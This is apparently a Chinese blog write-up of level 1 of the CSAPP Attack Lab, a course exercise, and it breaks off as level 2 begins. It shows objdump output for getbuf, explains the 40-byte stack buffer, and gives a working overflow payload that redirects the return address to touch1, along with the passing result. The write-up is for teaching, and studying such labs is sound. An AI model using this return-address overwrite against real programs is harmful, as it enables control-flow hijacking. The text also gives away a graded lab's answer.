本实验要仔细阅读对应的 write up ,上面给了大量的提示信息,主要是介绍两种攻击方式,分两部分,第一部分的方式对于现代计算机已经基本无效了,第二部分的方式过程比较繁杂,不过原理还是很容易理解的。实验的主要目的还是熟悉计算机的程序控制方式、函数栈帧的结构,以及熟练使用 dbg 和 objdump 工具进行调试。
本文讲解较少,可参照其他博客,有一些写的很好,附图讲解,思路清晰。
本文对实验过程的记录比较完整,包括了每一个数据和操作的来源。
PART1_Code_Injection_Attacks
LEVEL1
首先使用 abjdump 命令生成汇编代码的文本文件:
liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d ctarget > ctarget.txt
打开生成的 ctarget.txt 文件,找到相应的汇编代码:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
由第一行可知,getbuf 函数调用时,开辟了 40 个字节的栈空间,如下图所示,开辟的空间是蓝色的部分,当我们输入的内容超过 40 个字节,超出的部分就会继续覆盖前面的内容。
根据栈的结构可知,蓝色相邻的部分就是 getbuf 函数调用结束后要返回的地址,于是我们找到函数 touch1 的入口地址:
00000000004017c0 <touch1>:
根据输入的顺序(Linux为小端法),我们前 40 字节的内容随意输入(比如08),接着再依次输入 c0 17 40 即可。
新建一个文档命名为 c_level1 ,输入如下内容:
再通过 ./hex2raw 转化为字符串进行输入即可:
liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level1 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
LEVEL2
阅读文档,找到两个关键信息,第一个是函数 touch2 的地址,第